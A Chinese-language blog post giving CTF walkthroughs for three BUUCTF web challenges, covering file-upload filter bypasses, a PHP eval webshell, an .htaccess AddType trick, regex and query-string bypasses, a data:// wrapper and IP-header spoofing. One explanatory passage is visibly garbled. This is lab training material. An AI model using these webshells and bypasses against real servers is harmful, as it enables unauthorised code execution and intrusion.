BUUCTF(6)

191 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

极客大挑战 2019]Upload

上传图片

上传了个php后缀的一句话被拦下来了,把后缀改称jpg试试

NO! HACKER! your file included '<?'

说明对文件内容也进行了检测,检测到了<?,那么我们换个一句话木马

<script language="php">eval($_REQUEST[shell])</script>

提示Don't lie to me, it's not image at all!!!

那我们试着加个文件头

上传文件名: yijuhua.jpg

上传成功了

用php5做后缀抓个包试试,改了文件content-Type发包显示

NOT!php5!

于是我们试试其他的phtml

上传成功上传文件名: yijuhua.phtml

接下来就是找蚁剑连接路径

猜测7a0de3ae-3811-4dea-8af6-eae8d0506b3b.node4.buuoj.cn:81/upload/yiju…

flag{f4574cbd-92b4-49b5-b5aa-b5356f47f38e}

MRCTF2020]你传你🐎呢

上传个jpg的一句话木马,显示上传成功

var/www/html/upload/0d8bb7478e6a3cdeb03bd7c22d123b6d/1.png succesfully uploaded!

找到路径,我们抓包改文件类型试一试,不行被拦住了

基于jpg已经上传成功

那我们试一试穿个.htaccess文件

AddType application/x-httpd-php .png   //改tpye上传成功

穿上之后用菜刀连。路径错误脸了好几次

之后成功,flag在根目录下面

flag{0d3ae7af-3f0c-4af2-80c6-cc417181dfd2}

[MRCTF2020]套娃

打开靶场后F12发现一串注释代码

//1st
$query = $_SERVER['QUERY_STRING'];


 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!

分析一下,对于

substr_count(string,substring,start,length)    //判断某个字符在语句中出现的次数

对于第一个if:

就是对其进行过滤,不能含有_,%5f

可以用%20代替下划线从而绕过第一个if

第二个if中正则匹配表示匹配字符窜的开头和结尾

由于在字符窜中换行可以表示字符窜的结尾,所以可以用%0a(换行符的url编码)绕过

上述代码不能出现’_‘和’%5f’,可以用‘ ’或‘.’或‘ %5F’绕过

通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中’^‘和’$'代表的是行的开头和结尾,所以能利用换行绕过

需要等于有正则不等于时,我们可以使用换行符绕过

payload

?b%5Fu%5Fp%5Ft=23333%0a

直接查看一下

Flag is here~But how to get it?Local access only!
Sorry,you don't have permission! Your ip is :sorry,this way is banned! 

 发现还是没有,此时会发现F12多了一串

考虑是某种解密,判断是jsfuck解码,接完后发现是

alert("post me Merak")

于是我们按照提示POST值

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';
if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); } 

分析源码

可以简单的分析出secrettw.php的作用

首先用if(isset($_POST[‘Merak’]))函数检测是否存在参数名为Merak的POST数据,如果不存在则执行下面的语句,如果存在则执行if中的highlight_file函数高亮显示源码

 

我们已经通过POST提交Merak知道了源码,后面就不用再提交POST了,不然会被highlight_file函数截断,继续看下面的语句,中间的change函数暂时不管,是转换字符用的,后面会提到

后面的i p = g e t I p ( ) ; 应 该 是 使 用 了 头 部 的 t a k e i p . p h p 中 的 函 数 来 获 取 客 户 端 i p , 再 将 获 取 到 的 i p 赋 值 给 变 量 ip = getIp(),再将获取到的ip赋值给变量ip=getIp()

如果满足$ip!='127.0.0.1’则执行该if内的语句,但是这段语句没什么用,所以我们不用管,第二个if内的语句才是我们需要执行的

第二个if的判断条件为

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )

经过查找资料可以用Client-ip给替换

第二个条件

file_get_contents($_GET[‘2333’]) === ‘todat is a happy day’

参考文章:www.php.cn/manual/view…

首先通过file_get_content函数将整个数据读入一个字符串中,但是后面的值使用的单引号,并且中间使用===来判断全等,所以,经过到百度上各种CTF技巧的查找,发现这里可以使用data:// 来进行转换

格式为data://text/plain;base64,将todat is a happy day进行base64编码得到

dG9kYXQgaXMgYSBoYXBweSBkYXk=

所以需要通过get提交一个名为2333的参数,值为

data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=

file_get_content函数不是直接使用的$_GET[‘file’]的值,而是用到了上面说到的change函数来转换

于是我们需要change来转换,

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

首先定义用法,然后将变量进行base64解码(这说明后面POST参数file的值必须先进行base64编码),然后通过一段for循环,这段for循环的作用是先将字符转换为ASCII码,再将ASCII码逐步+ i ∗ 2 , i*2, i∗2,i初始值为0,然后再转回字符

 

其中strlen函数作用是计算字符的数目,chr是把ASCII转成字符,ord是把字符转成ASCII数字

 

经过对照ASCII码表和计算,我们需要传递到file参数的值为“fj]a&fb(flag.php经过change函数转换为fj]a&fb)”的base64值,也就是ZmpdYSZmXGI=

67addde2-0772-4de8-b9f5-7336ebac9d37.node3.buuoj.cn/secrettw.php?/file=ZmpdYSZmXGI=&2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=

于是我们BP修改IP抓包试一试